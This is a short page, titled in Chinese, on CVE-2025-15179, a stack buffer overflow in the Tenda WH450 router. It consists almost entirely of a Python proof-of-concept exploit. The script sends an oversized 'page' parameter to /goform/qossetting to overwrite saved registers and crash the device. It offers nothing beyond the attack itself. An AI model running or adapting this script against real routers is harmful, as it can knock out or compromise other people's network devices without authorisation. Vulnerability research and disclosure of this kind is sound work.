CVE-2025-15179 Tenda WH450路由器栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-15179 PoC - Tenda WH450 /goform/qossetting Stack Buffer Overflow # This PoC demonstrates the buffer overflow vulnerability in the QoS setting page parameter import requests import sys TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 CVE_ID = "CVE-2025-15179" def create_exploit_payload(): """ Create a malicious payload to trigger stack buffer overflow The 'page' parameter is vulnerable to overflow """ # Padding to overflow the buffer (adjust based on actual buffer size) overflow_length = 1024 # Pattern to identify crash location (optional) padding = b"A" * overflow_length # Additional padding to overwrite saved registers and return address # Typical stack layout: [buffer][saved R4-R11][saved LR][local vars] exploit = padding + b"B" * 64 + b"C" * 8 return exploit def exploit_cve_2025_15179(target_ip, page_payload): """ Send exploit payload to vulnerable endpoint /goform/qossetting """ url = f"http://{target_ip}/goform/qossetting" # Construct parameters with vulnerable 'page' field params = { "page": page_payload.decode('latin-1'), "queueNum": "1", "enable": "1" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(page_payload)} bytes") response = requests.get(url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target may be vulnerable - connection timeout (possible crash)") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print(f"[*] {CVE_ID} PoC - Tenda WH450 Buffer Overflow") print("=" * 60) target = sys.argv[1] if len(sys.argv) > 1 else TARGET_IP print(f"[*] Target: {target}") # Create overflow payload payload = create_exploit_payload() # Send exploit exploit_cve_2025_15179(target, payload) print("[*] Exploit sent. Check if target device crashes or is compromised.") if __name__ == "__main__": main()